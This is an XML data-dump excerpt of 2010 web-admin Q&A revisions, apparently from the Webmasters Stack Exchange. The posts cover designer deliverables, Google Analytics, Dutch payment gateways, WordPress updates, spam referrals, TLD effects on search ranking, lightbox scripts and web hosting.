  <row Id="4441" PostHistoryTypeId="5" PostId="2313" RevisionGUID="2ab7659d-f907-4d34-9a69-f0cc8fcb612b" CreationDate="2010-08-17T01:14:07.053" UserId="1253" Comment="deleted 105 characters in body; added 23 characters in body" Text="[Wikipedia][1] defines a webmaster as:&#xD;&#xA;&#xD;&#xA;&gt; A webmaster (a blend of web and master), also called a web architect, web developer, site author, website administrator, or (informally) webmeister, sometimes heard in tongue-in-cheek feminine form web mistress, is a person responsible for maintaining a website(s). The duties of the webmaster may include ensuring that the web servers, hardware and software are operating accurately, designing the website, generating and revising web pages, replying to user comments, and examining traffic through the site. Webmasters &quot;must also be well-versed in Web transaction software, payment-processing software, and security software.&quot; &#xD;&#xA;&gt; &#xD;&#xA;&gt; Webmasters may be generalists with&#xD;&#xA;&gt; HTML expertise who manage most or all&#xD;&#xA;&gt; aspects of Web operations. Depending&#xD;&#xA;&gt; on the nature of the websites they&#xD;&#xA;&gt; manage, webmasters typically know&#xD;&#xA;&gt; scripting languages such as&#xD;&#xA;&gt; Javascript, PHP and Perl. They may&#xD;&#xA;&gt; also be required to know how to&#xD;&#xA;&gt; configure web servers such as Apache&#xD;&#xA;&gt; or IIS and serve as the server&#xD;&#xA;&gt; administrator.&#xD;&#xA;&gt; &#xD;&#xA;&gt; An alternative definition of webmaster&#xD;&#xA;&gt; is a businessperson who uses online&#xD;&#xA;&gt; media to sell products and/or&#xD;&#xA;&gt; services. This broader definition of&#xD;&#xA;&gt; webmaster covers not just the&#xD;&#xA;&gt; technical aspects of overseeing Web&#xD;&#xA;&gt; site construction and maintenance but&#xD;&#xA;&gt; also management of content,&#xD;&#xA;&gt; advertising, marketing and order&#xD;&#xA;&gt; fulfillment for the Web site.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Core responsibilities of the webmaster&#xD;&#xA;&gt; may include the regulation and&#xD;&#xA;&gt; management of access rights of&#xD;&#xA;&gt; different users of a website, the&#xD;&#xA;&gt; appearance and setting up website&#xD;&#xA;&gt; navigation. Content placement can be&#xD;&#xA;&gt; part of a webmaster's&#xD;&#xA;&gt; responsibilities, while content&#xD;&#xA;&gt; creation may not be.&#xD;&#xA;&#xD;&#xA;So, as you can see, webmaster encompasses a lot of skillsets but doesn't require all of them to be met in order to be called a webmaster. If you put that on your resume you better clarify exactly what your duties were with any site you were a webmaster on or at least have a good answer prepared when they ask you what that means. Also keep in mind that most employers aren't looking for a generalist (which the title &quot;webmaster&quot; implies) but someone to perform a specific duty. If you claim to be a webmaster you may typecast yourself as a generalist instead of targeting yourself towards the position you are applying for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Webmaster&#xD;&#xA;" />
  <row Id="4442" PostHistoryTypeId="2" PostId="2314" RevisionGUID="0e5be2a5-ac2a-4029-aaab-6cf0267b96bb" CreationDate="2010-08-17T02:39:25.353" UserId="871" Text="Are there a standard set of deliverables a web **developer** should expect from a web **designer**? If I was to hire a designer to create what a website should look and feel like, what deliverables do designers deliver? How are they to convey the site design to the person or persons responsible for crafting the markup/backend/styling work. Is there some generally accepted format/standard?" />
  <row Id="4443" PostHistoryTypeId="1" PostId="2314" RevisionGUID="0e5be2a5-ac2a-4029-aaab-6cf0267b96bb" CreationDate="2010-08-17T02:39:25.353" UserId="871" Text="What deliverables should a web developer expect from a web designer?" />
  <row Id="4444" PostHistoryTypeId="3" PostId="2314" RevisionGUID="0e5be2a5-ac2a-4029-aaab-6cf0267b96bb" CreationDate="2010-08-17T02:39:25.353" UserId="871" Text="&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="4445" PostHistoryTypeId="2" PostId="2315" RevisionGUID="6eefff63-743b-42ec-856c-c0a4d8fdf0a4" CreationDate="2010-08-17T02:49:50.490" UserId="138" Text="When we hire a graphic designer/web designer, their packages vary depending on how much we pay. When we pay top dollar ($5,000 - $10,000+ for design and layout, no content), we expect:&#xD;&#xA;&#xD;&#xA;- Spliced HTML template with all images&#xD;&#xA;- Original PSD/Illustrator files where appropriate&#xD;&#xA;- License to modify the template as we see fit&#xD;&#xA;- We own all IP and do not require attribution to graphic designer&#xD;&#xA;- We permit the layout to be used in their portfolio&#xD;&#xA;&#xD;&#xA;As we go for cheaper layouts, the first thing to get dropped is the Original PSD/Illustrator files, followed by IP rights. For us the other items are non-negotiable." />
  <row Id="4446" PostHistoryTypeId="2" PostId="2316" RevisionGUID="9f86574c-207d-4e38-aa3a-20229938809e" CreationDate="2010-08-17T03:09:57.307" UserId="1253" Text="Usually the Photoshop PSD file is enough for a developer to splice and code up. The layers allow for easy extraction of overlapping portions and you can always export it to a PNG or any flat format if required. Flat formats (PNG, JPEG, GIF) aren't really acceptable for templates except for the most rudimentary of template designs.&#xD;&#xA;&#xD;&#xA;If the designer has specifications for how the template it to be coded, like if there are rollover effects, they should specify that in writing when providing the template as well as any necessary images required for the effect to work. But I find that in general the designer doesn't make any decisions about functionality and are limited to following the specifications provided by the developer." />
  <row Id="4447" PostHistoryTypeId="2" PostId="2317" RevisionGUID="79b4510f-9241-4516-ab05-24333a5a3292" CreationDate="2010-08-17T04:44:31.380" UserDisplayName="delete" Text="Is there any way to compare the traffic to two different pages on the same graph in Google Analytics? I want to see how Page A compares to Page B over time in terms of number of pageviews.&#xD;&#xA;" />
  <row Id="4448" PostHistoryTypeId="1" PostId="2317" RevisionGUID="79b4510f-9241-4516-ab05-24333a5a3292" CreationDate="2010-08-17T04:44:31.380" UserDisplayName="delete" Text="Any way to compare traffic to two pages on the same graph in Google Analytics?" />
  <row Id="4449" PostHistoryTypeId="3" PostId="2317" RevisionGUID="79b4510f-9241-4516-ab05-24333a5a3292" CreationDate="2010-08-17T04:44:31.380" UserDisplayName="delete" Text="&lt;google-analytics&gt;" />
  <row Id="4450" PostHistoryTypeId="2" PostId="2318" RevisionGUID="cc241183-bcfc-43a7-972a-c2f110abc53a" CreationDate="2010-08-17T04:56:38.260" UserId="1424" Text="I've just realized all Paypal payment gateways are not available in Europe.&#xD;&#xA;&#xD;&#xA;Only Website payment standard is working, but it is not a gateway, I cannot include the payment process into my website.&#xD;&#xA;&#xD;&#xA;I was now wondering what safe payment gateways to use for my e-commerce website in Netherlands.&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="4451" PostHistoryTypeId="1" PostId="2318" RevisionGUID="cc241183-bcfc-43a7-972a-c2f110abc53a" CreationDate="2010-08-17T04:56:38.260" UserId="1424" Text="Payment gateways for Europe (Netherlands) ?" />
  <row Id="4452" PostHistoryTypeId="3" PostId="2318" RevisionGUID="cc241183-bcfc-43a7-972a-c2f110abc53a" CreationDate="2010-08-17T04:56:38.260" UserId="1424" Text="&lt;ecommerce&gt;&lt;payments&gt;&lt;paypal&gt;" />
  <row Id="4456" PostHistoryTypeId="2" PostId="2320" RevisionGUID="bd1bf4be-98d1-491d-98f3-adc7e8e368a3" CreationDate="2010-08-17T08:51:24.853" UserId="1582" Text="While you can't put them on the same chart, you can compare them across time using Google Analytics motion chart. In Content » Top Content » Visualize you can setup a motion chart that would display up to four variables (x, y, color, size) for any of your pages, in time." />
  <row Id="4457" PostHistoryTypeId="2" PostId="2321" RevisionGUID="aba7d477-550e-4d31-a09d-22d1c8aa6fb9" CreationDate="2010-08-17T09:40:17.817" UserId="1064" Text="apostlion is correct in that the two pages' stats cannot be compared with a Google Analytics chart, however, you have the option to export data (based upon the timeframe you specify) from the Content &gt; Top Content section (use a regexp filter like &quot;page1$|page2$&quot;) to a variety of formats and, if you follow the path of least resistance, you can compile plenty of fun Excel charts from the output." />
  <row Id="4459" PostHistoryTypeId="2" PostId="2322" RevisionGUID="d7f29af6-69a4-4a6a-b0d6-a8d16fbefa3d" CreationDate="2010-08-17T11:46:59.187" UserId="1253" Text="[Worldpay][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rbsworldpay.com/" />
  <row Id="4460" PostHistoryTypeId="2" PostId="2323" RevisionGUID="b62a3467-95de-4837-97fd-30dcd444bb25" CreationDate="2010-08-17T12:04:07.810" UserId="1053" Text="I am looking for a table generator based on div tag." />
  <row Id="4461" PostHistoryTypeId="1" PostId="2323" RevisionGUID="b62a3467-95de-4837-97fd-30dcd444bb25" CreationDate="2010-08-17T12:04:07.810" UserId="1053" Text="Tableless layout table generator" />
  <row Id="4462" PostHistoryTypeId="3" PostId="2323" RevisionGUID="b62a3467-95de-4837-97fd-30dcd444bb25" CreationDate="2010-08-17T12:04:07.810" UserId="1053" Text="&lt;web-development&gt;" />
  <row Id="4463" PostHistoryTypeId="2" PostId="2324" RevisionGUID="b9b58864-c13d-4f66-b073-3a5810601973" CreationDate="2010-08-17T12:24:50.793" UserId="233" Text="I don't know if that is really possible or wise. Converting a table, which was not intended for layout anyway, into a set of `&lt;div&gt;` tags will result in the same messy, unmaintainable code.&#xD;&#xA;&#xD;&#xA;You should learn HTML and CSS and then do it yourself manually. A grid system like [960.gs][1] can help you keep things neat with columns and such.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://960.gs/" />
  <row Id="4464" PostHistoryTypeId="5" PostId="2323" RevisionGUID="6e0bed23-f62c-4a6c-8b35-83a27546910c" CreationDate="2010-08-17T12:37:09.613" UserId="1053" Comment="added 29 characters in body" Text="I am looking for a table generator based on div tag that can generate html code. " />
  <row Id="4465" PostHistoryTypeId="2" PostId="2325" RevisionGUID="8992254c-62e3-4367-b896-716b9b43f1be" CreationDate="2010-08-17T12:37:36.977" UserId="221" Text="If you are trying to generate a table using only divs you are most likely either:&#xD;&#xA;&#xD;&#xA;**a) Trying to generate a layout without using tables**&#xD;&#xA;&#xD;&#xA;Probably needing to convert an existing table based layout to match the current attitude that &quot;tables are bad&quot;.&#xD;&#xA;&#xD;&#xA;In which case there is no generator to convert your existing table based layout. You'll need to do the hard work of converting things.&#xD;&#xA;&#xD;&#xA;**b) Trying to present tabular data using only divs**&#xD;&#xA;&#xD;&#xA;Despite the general wisdom of &quot;tables are bad&quot; it is important to realize that they **do** still serve a purpose. That purpose is to present **tabular** data, i.e. data that is most naturally displayed in table form. For that kind of data you should continue to use the table tag!" />
  <row Id="4466" PostHistoryTypeId="6" PostId="2323" RevisionGUID="3aa0a659-32cc-4ea7-bcfa-a1dd107f3e32" CreationDate="2010-08-17T12:38:57.303" UserId="221" Comment="edited tags" Text="&lt;web-development&gt;&lt;html&gt;" />
  <row Id="4467" PostHistoryTypeId="2" PostId="2326" RevisionGUID="f1195865-2f12-4db2-afc4-8b9b1f974bd6" CreationDate="2010-08-17T12:44:26.230" UserId="1171" Text="A problems occurs when I am trying to update my WordPress 3.0 to WordPress 3.0.1 using &quot;Update Automatically&quot; button of update-core page. I am getting a message like below:&#xD;&#xA;&#xD;&#xA;&gt;Downloading update from http://wordpress.org/wordpress-3.0.1.zip…&#xD;&#xA;&#xD;&#xA;And everything is stopped after this message. What to do now?" />
  <row Id="4468" PostHistoryTypeId="1" PostId="2326" RevisionGUID="f1195865-2f12-4db2-afc4-8b9b1f974bd6" CreationDate="2010-08-17T12:44:26.230" UserId="1171" Text="Problem updating wordpress" />
  <row Id="4469" PostHistoryTypeId="3" PostId="2326" RevisionGUID="f1195865-2f12-4db2-afc4-8b9b1f974bd6" CreationDate="2010-08-17T12:44:26.230" UserId="1171" Text="&lt;wordpress&gt;" />
  <row Id="4470" PostHistoryTypeId="2" PostId="2327" RevisionGUID="9a6495e9-40e9-46e0-9d84-b65dc37605aa" CreationDate="2010-08-17T13:04:09.857" UserId="1585" Text="I was looking at my google analytic and i had 3 visitors to my site which i told -no one- about nor have any content on it. They all came from *.golbnet.com. Why is this site linking me? will this give me trouble?&#xD;&#xA;" />
  <row Id="4471" PostHistoryTypeId="1" PostId="2327" RevisionGUID="9a6495e9-40e9-46e0-9d84-b65dc37605aa" CreationDate="2010-08-17T13:04:09.857" UserId="1585" Text=" SEO: Will this site give me trouble?" />
  <row Id="4472" PostHistoryTypeId="3" PostId="2327" RevisionGUID="9a6495e9-40e9-46e0-9d84-b65dc37605aa" CreationDate="2010-08-17T13:04:09.857" UserId="1585" Text="&lt;seo&gt;" />
  <row Id="4473" PostHistoryTypeId="2" PostId="2328" RevisionGUID="2cbadc85-2d91-4738-b1cc-fc38f5315415" CreationDate="2010-08-17T13:07:44.500" UserId="1253" Text="It won't give you any trouble because your site visitors or referrers have absolutely no effect on SEO.&#xD;&#xA;&#xD;&#xA;If you want to know why they visiting/crawling you (just because they are visiting/crawling you doesn't mean they are linking to you) you should visit their site and learn more about them. This may require an email to them asking for more information. The site looks like a hosted blog provider so if your site is a blog they may be crawling you to include in an index they are building of other blogs. But that's just a guess.&#xD;&#xA;&#xD;&#xA;You may want to check your website to make sure you aren't linking to those pages somewhere that you are not aware of. People and crawlers cannot find pages unless you make them available and this is usually done through links. If you don't want those pages being crawled by automated crawlers then use a robots.txt file to block them. If that site continues to visit/crawl those pages then block them." />
  <row Id="4474" PostHistoryTypeId="2" PostId="2329" RevisionGUID="893eb4b2-d611-4477-8244-c67f2125b111" CreationDate="2010-08-17T13:35:39.410" UserId="480" Text="Three main things to check:&#xD;&#xA;&#xD;&#xA;* Do you have enough free space?&#xD;&#xA;* Are the permissions correct?&#xD;&#xA;* If you log into the web server can it download the file using wget or similar?&#xD;&#xA;&#xD;&#xA;If the hosting is provided by a third party they may have altered the permissions (often by accident) or limited downloads." />
  <row Id="4475" PostHistoryTypeId="2" PostId="2330" RevisionGUID="1da040a2-d295-409d-86c6-fca72731fbe6" CreationDate="2010-08-17T14:14:41.347" UserId="1588" Text="If I am thinking about using one of the fancy country domains such as .me or .tv should I be worried about how Google treats such domains?&#xD;&#xA;&#xD;&#xA;Or to put it another way, if all other things are equal (good content, links etc), will Google regard a .tv or .me as equal to a traditional .com or co.uk site?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4476" PostHistoryTypeId="1" PostId="2330" RevisionGUID="1da040a2-d295-409d-86c6-fca72731fbe6" CreationDate="2010-08-17T14:14:41.347" UserId="1588" Text="Does Google penalize .me or .tv sites?" />
  <row Id="4477" PostHistoryTypeId="3" PostId="2330" RevisionGUID="1da040a2-d295-409d-86c6-fca72731fbe6" CreationDate="2010-08-17T14:14:41.347" UserId="1588" Text="&lt;google&gt;&lt;top-level-domains&gt;&lt;country-specific&gt;" />
  <row Id="4478" PostHistoryTypeId="2" PostId="2331" RevisionGUID="cb2530ca-f29c-4924-b905-ce28af3a5c4b" CreationDate="2010-08-17T14:21:34.557" UserId="1253" Text="There are no penalties or preferences given for TLDs in google.com. All TLDs are treated equally in a google.com web search. &#xD;&#xA;&#xD;&#xA;However, TLDs do affect your search results for country specific searches. For example, a .me or .tv domain will not rank as well as a .us website in a google.us web search. Also, a .co.uk site will rank better then a .us site in a google.co.uk search. This is because country specific searches give precedence to local websites. &#xD;&#xA;&#xD;&#xA;So if you are targeting a specific country or region, try to use the TLD for that country or region. If not then the TLD does not make a difference." />
  <row Id="4479" PostHistoryTypeId="2" PostId="2332" RevisionGUID="fd7f38ac-c08a-4840-945e-62378104309d" CreationDate="2010-08-17T15:50:12.563" UserId="108" Text="Having any site link to you is not an issue.  Links from bad or paid for link sites don't give you any benefit from Google but they won't hurt you.  One site all by itself will especially do nothing.  Remember you have little to no control over who links to you and Google is aware of this as well and ranks accordingly.&#xD;&#xA;&#xD;&#xA;Your ranking will only be negatively effected by you linking to bad sites, like Spam sites.&#xD;&#xA;&#xD;&#xA;Also, if you are truly concerned with links from golbnet.com you can see where they are linking to you from in Google Webmaster tools and send an email to the site requesting them to remove the link.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4480" PostHistoryTypeId="2" PostId="2333" RevisionGUID="10ecdd4d-7472-4478-91e5-8640279b0231" CreationDate="2010-08-17T15:52:51.690" UserId="1591" Text="[iDEAL][1] is pretty much the standard in the Netherlands, and it's far more popular than Paypal.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.nl/search?q=ideal+paypal" />
  <row Id="4481" PostHistoryTypeId="2" PostId="2334" RevisionGUID="5df70208-8b0e-4681-b0de-b41214774a2f" CreationDate="2010-08-17T16:01:55.087" UserId="300" Text="golbnet.com is a spam referral from Brazil. He is looping through Google Analytics numbers to create hits but is not even visiting the sites. There are reports of referrals to sites that are offline and on Google Analytic accounts that were never installed.&#xD;&#xA;&#xD;&#xA;It is probably best not to visit the sites since the source seems to be malicious. There are [ways to filter][1] golbnet out of the Google Analytic reports.&#xD;&#xA;&#xD;&#xA;thebesthosting.org and web.com are also spam referrals. &#xD;&#xA;&#xD;&#xA;Spam referrals will not affect your SEO.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Google+Analytics/thread?tid=0d32da2b9b6fcabe&amp;hl=en" />
  <row Id="4482" PostHistoryTypeId="2" PostId="2335" RevisionGUID="19ce0f97-b848-4d5a-94e7-ddb9188b93bc" CreationDate="2010-08-17T16:46:23.173" UserId="795" Text="There are so many implementations of the lightbox, which is your favourite to use?&#xD;&#xA;&#xD;&#xA;(already made it a wiki ;))" />
  <row Id="4483" PostHistoryTypeId="1" PostId="2335" RevisionGUID="19ce0f97-b848-4d5a-94e7-ddb9188b93bc" CreationDate="2010-08-17T16:46:23.173" UserId="795" Text="What is your favourite lightbox?" />
  <row Id="4484" PostHistoryTypeId="3" PostId="2335" RevisionGUID="19ce0f97-b848-4d5a-94e7-ddb9188b93bc" CreationDate="2010-08-17T16:46:23.173" UserId="795" Text="&lt;website-features&gt;" />
  <row Id="4485" PostHistoryTypeId="16" PostId="2335" RevisionGUID="19ce0f97-b848-4d5a-94e7-ddb9188b93bc" CreationDate="2010-08-17T16:46:23.173" UserId="795" />
  <row Id="4486" PostHistoryTypeId="2" PostId="2336" RevisionGUID="15f82a01-6337-452b-af2d-4333f0ad0d98" CreationDate="2010-08-17T16:58:42.563" UserId="845" Text="[Fancybox][1] is a very nice one I recently discovered. It handles youtube videos particularly well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fancybox.net/" />
  <row Id="4487" PostHistoryTypeId="16" PostId="2336" RevisionGUID="15f82a01-6337-452b-af2d-4333f0ad0d98" CreationDate="2010-08-17T16:58:42.563" UserId="-1" />
  <row Id="4488" PostHistoryTypeId="2" PostId="2337" RevisionGUID="539215f3-277d-495e-9683-72c903f865f1" CreationDate="2010-08-17T17:07:50.130" UserId="845" Text="Use [CSS sprites][1], especially for icons.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/articles/sprites" />
  <row Id="4489" PostHistoryTypeId="2" PostId="2338" RevisionGUID="555f0fef-08b6-41c9-8dfc-8a5a6bf3164a" CreationDate="2010-08-17T17:12:58.687" UserId="845" Text="*Probably*, but I've always been wary of link exchanges because they tend to be promoted via spam and they smack of &quot;Make $$$&quot; schemes to me.&#xD;&#xA;&#xD;&#xA;Far better, IMO, is to link to external sites organically, where appropriate. For example, if you're referencing those other programmer blogs, link to them. If you want to include a small sidebar on your homepage (&quot;Blogs I like&quot;), go for it. If you want to review someone else's blog, go right ahead.&#xD;&#xA;&#xD;&#xA;Appropriate linking to another site is more likely to benefit your SEO than not linking to it, regardless of whether that site returns the favour." />
  <row Id="4490" PostHistoryTypeId="5" PostId="2335" RevisionGUID="d884420d-4dff-450d-ae66-27ba5fb45bcd" CreationDate="2010-08-17T17:20:22.467" UserId="795" Comment="Added my own lightnox implemntation, clarified things a little" Text="There are so many implementations of the lightbox, which is your favourite to use for your custom site? (javascript based)&#xD;&#xA;&#xD;&#xA;(already made it a wiki ;))&#xD;&#xA;&#xD;&#xA;I generally use [Lightbox2][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.huddletogether.com/projects/lightbox2/" />
  <row Id="4491" PostHistoryTypeId="2" PostId="2339" RevisionGUID="43f60211-1236-4903-a163-c3609532a01b" CreationDate="2010-08-17T17:20:40.997" UserId="845" Text="This is a bit like asking &quot;How long should my book title be?&quot; or &quot;How long should my child's name be&quot; i.e. it's pretty subjective BUT the best advice is to do what makes most sense in context, rather than trying to game SEO or similar. Think about the contexts in which your site's title will be used, including:&#xD;&#xA;&#xD;&#xA; - Window title (on massively wide desktops and claustrophobic mobile devices)&#xD;&#xA; - Window tabs&#xD;&#xA; - Bookmark menus&#xD;&#xA; - Bookmark toolbars&#xD;&#xA; - External services, such as delicious, facebook, twitter, etc.&#xD;&#xA;&#xD;&#xA;Almost all of those contexts suggest, to me, that your title should be as short as possible, but as long as necessary to describe the page's content." />
  <row Id="4492" PostHistoryTypeId="2" PostId="2340" RevisionGUID="5358878f-8f89-4af2-b199-9bc8e52ac77c" CreationDate="2010-08-17T17:22:00.917" UserId="300" Text="Make your images as small as possible. You can use [smush.it][1] to remove unnecessary bytes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smushit.com/ysmush.it/" />
  <row Id="4493" PostHistoryTypeId="2" PostId="2341" RevisionGUID="ef649b8d-f590-4757-8304-9e89865fdd85" CreationDate="2010-08-17T17:22:37.890" UserId="1348" Text="I like &lt;a href=&quot;http://www.no-margin-for-errors.com/projects/prettyphoto-jquery-lightbox-clone/&quot;&gt;PrettyPhoto&lt;/a&gt;. It's lightweight, easy to use, built on jQuery, can open anything you could need." />
  <row Id="4494" PostHistoryTypeId="16" PostId="2341" RevisionGUID="ef649b8d-f590-4757-8304-9e89865fdd85" CreationDate="2010-08-17T17:22:37.890" UserId="-1" />
  <row Id="4495" PostHistoryTypeId="2" PostId="2342" RevisionGUID="f3e32fb8-a33c-463e-9a99-289625955596" CreationDate="2010-08-17T18:44:38.530" UserId="231" Text="I like Nick Stakenburg's [Lightview][1], even though it's based on prototype and it requires a lot of frameworks. From my testing, it behaves identical in all the browsers.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nickstakenburg.com/projects/lightview/" />
  <row Id="4496" PostHistoryTypeId="16" PostId="2342" RevisionGUID="f3e32fb8-a33c-463e-9a99-289625955596" CreationDate="2010-08-17T18:44:38.530" UserId="-1" />
  <row Id="4497" PostHistoryTypeId="2" PostId="2343" RevisionGUID="b14705e2-f9e6-4241-a0a8-b58bd8d6af51" CreationDate="2010-08-17T19:24:40.957" UserId="99" Text="It appears to be from a Finjan (now part of M86 Security) security appliance.&#xD;&#xA;&#xD;&#xA;I found an [old forum post here](http://phpcenter.eu/vaatafoorumiteemat.php?id=7014) (in Estonian) asking why it was adding &quot;?sfgdata=4&quot; to URLs.&#xD;&#xA;&#xD;&#xA;There's also an [old set of release notes](http://www.m86security.com/software/secure_web_gateway/NGUpdates/OSupdates/vs_ng_os_update_05Nov06_release_notes.htm) that has a few references to &quot;sfgdata&quot;." />
  <row Id="4498" PostHistoryTypeId="2" PostId="2344" RevisionGUID="d68bf828-d1b4-48f4-9220-cb813c86894f" CreationDate="2010-08-17T19:31:02.813" UserId="1597" Text="I am looking for a website host and have been searching the web for similar websites(similar to my website) and trying to see what hosting company they are using.&#xD;&#xA;&#xD;&#xA;I keep looking up details of websites I like on netcraft.com, and I keep finding 'n' number of Netblock owners with Random or generic names. Apart from a few popular ones(eg. Planet.com, MT), I find it extremely difficult to find out who the hosting company is. For eg. Netcraft Site report for a website www.randomwebsite.com gives Netblock owner as RandomWebHoster.com, if I go to RandomWebHoster.com the site does not exist. The DNS is given as ns1.superrandomdns.com, the website superrandomdns.com simply has a page saying superrandomdns.com.&#xD;&#xA;&#xD;&#xA;How do I investigate stuff myself if I want to find a good host? Where did you begin when looking for a webhost?&#xD;&#xA;&#xD;&#xA;(Please do not down vote the question. My goal is to make host evaluation easier.)" />
  <row Id="4499" PostHistoryTypeId="1" PostId="2344" RevisionGUID="d68bf828-d1b4-48f4-9220-cb813c86894f" CreationDate="2010-08-17T19:31:02.813" UserId="1597" Text="Investigating and finding a web host" />
  <row Id="4500" PostHistoryTypeId="3" PostId="2344" RevisionGUID="d68bf828-d1b4-48f4-9220-cb813c86894f" CreationDate="2010-08-17T19:31:02.813" UserId="1597" Text="&lt;web-hosting&gt;" />
  <row Id="4501" PostHistoryTypeId="2" PostId="2345" RevisionGUID="31b37fc6-fdae-41ac-8c0b-b3aab9b6fa81" CreationDate="2010-08-17T19:48:14.393" UserId="1253" Text="Part of the problem you are facing is most web hosts are just resellers of companies like The Planet. Most of them are, in fact, resellers of resellers as companies like Hostgator are resellers of the Planet (actually they lease servers and space) and they have resellers beneath them. So you may be comparing three web hosts to see who has a better product but ultimately they are all selling the exact same service.&#xD;&#xA;&#xD;&#xA;When looking for a good host you should prioritize your needs:&#xD;&#xA;&#xD;&#xA; - What technologies will I require (PHP, Perl, Python, Mysql, etc)&#xD;&#xA; - What is my budget?&#xD;&#xA; - What will my future needs potentially be?&#xD;&#xA;&#xD;&#xA;The biggest issue is overselling. That's when one webhost crams as many sites on to one server as possible. The result is the busy sites drain resources and every suffers for it.&#xD;&#xA;&#xD;&#xA;Your best bet is to get recommendations and research them. Keep in mind that no one is perfect and some people are never happy. So if you see a bad review don't automatically write that company off. Get multiple optinions before deciding. (Paypal has a website dedicated to how they suck][1] but they are clearly an excellent payment provider).&#xD;&#xA;&#xD;&#xA;If I were to make a recommendation I would say [Hostgator][1]. I have a dedicated server with them (day job) and a reseller account (personal stuff) and I have never had anything resembling a problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hostgator.com/" />
  <row Id="4502" PostHistoryTypeId="5" PostId="2344" RevisionGUID="67972fbc-15de-4674-b5fd-8f8e10d4d34b" CreationDate="2010-08-17T19:49:52.690" UserId="1597" Comment="added 58 characters in body" Text="I am looking for a website host and have been searching the web for similar websites(similar to my website) and trying to see what hosting company they are using.&#xD;&#xA;&#xD;&#xA;I keep looking up details of websites I like on netcraft.com, and I keep finding 'n' number of Netblock owners with Random or generic names. Apart from a few popular ones(eg. Planet.com, MT), I find it extremely difficult to find out who the hosting company is. For eg. Netcraft Site report for a website www.randomwebsite.com gives Netblock owner as RandomWebHoster.com, if I go to RandomWebHoster.com the site does not exist. The DNS is given as ns1.superrandomdns.com, the website superrandomdns.com simply has a page saying superrandomdns.com.&#xD;&#xA;&#xD;&#xA;I am looking for a reliable web host with J2EE support&#xD;&#xA;&#xD;&#xA;How do I investigate stuff myself if I want to find a good host? Where did you begin when looking for a webhost?&#xD;&#xA;&#xD;&#xA;(Please do not down vote the question. My goal is to make host evaluation easier.)" />
  <row Id="4503" PostHistoryTypeId="5" PostId="2345" RevisionGUID="b919cd3a-0285-45d2-becf-87540850f343" CreationDate="2010-08-17T19:53:15.147" UserId="1253" Comment="added 37 characters in body" Text="Part of the problem you are facing is most web hosts are just resellers of companies like The Planet. Most of them are, in fact, resellers of resellers as companies like Hostgator are resellers of the Planet (actually they lease servers and space) and they have resellers beneath them. So you may be comparing three web hosts to see who has a better product but ultimately they are all selling the exact same service.&#xD;&#xA;&#xD;&#xA;When looking for a good host you should prioritize your needs:&#xD;&#xA;&#xD;&#xA; - What technologies will I require (PHP, Perl, Python, Mysql, etc)&#xD;&#xA; - What is my budget?&#xD;&#xA; - What will my future needs potentially be?&#xD;&#xA;&#xD;&#xA;The biggest issue is overselling. That's when one webhost crams as many sites on to one server as possible. The result is the busy sites drain resources and every suffers for it.&#xD;&#xA;&#xD;&#xA;Your best bet is to get recommendations and research them. Keep in mind that no one is perfect and some people are never happy. So if you see a bad review don't automatically write that company off. Get multiple optinions before deciding. ([Paypal has a website dedicated to how they suck][1] but they are clearly an excellent payment provider).&#xD;&#xA;&#xD;&#xA;If I were to make a recommendation I would say [Hostgator][2]. I have a dedicated server with them (day job) and a reseller account (personal stuff) and I have never had anything resembling a problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.paypalsucks.com/&#xD;&#xA;  [2]: http://www.hostgator.com/" />
  <row Id="4504" PostHistoryTypeId="2" PostId="2346" RevisionGUID="0f3e2d62-a9c8-488a-bd61-cb4d5af316e6" CreationDate="2010-08-17T20:02:14.953" UserId="1124" Text="My boss knew that one of the keys to high rankings was links, and thought we should start a link exchange campaign not too long ago.  I did some research to see what these types of campaigns might have done to help companies like ours.  What I found was surprising:&#xD;&#xA;&#xD;&#xA;[Google's Official Viewpoint][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[More from Google][2]&#xD;&#xA;&#xD;&#xA;And [something from my favorite SEO smartass][3]&#xD;&#xA;&#xD;&#xA;While your interest in exchanging links may be to get visitors from similar blogs/ sites over to your site, be aware that link exchanges are becoming a big and nasty no-no, from what I can tell.&#xD;&#xA;&#xD;&#xA;Has anyone had a different experience where link exchanging has really helped boost your site traffic?  I'm always anxious to hear about new techniques, or old techniques that are still working.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66356&#xD;&#xA;  [2]: http://www.webpronews.com/topnews/2010/06/21/google-shares-its-viewpoint-on-earning-quality-links&#xD;&#xA;  [3]: http://www.conversationmarketing.com/2006/12/seo_myth_smackdown_link_tradin.htm" />
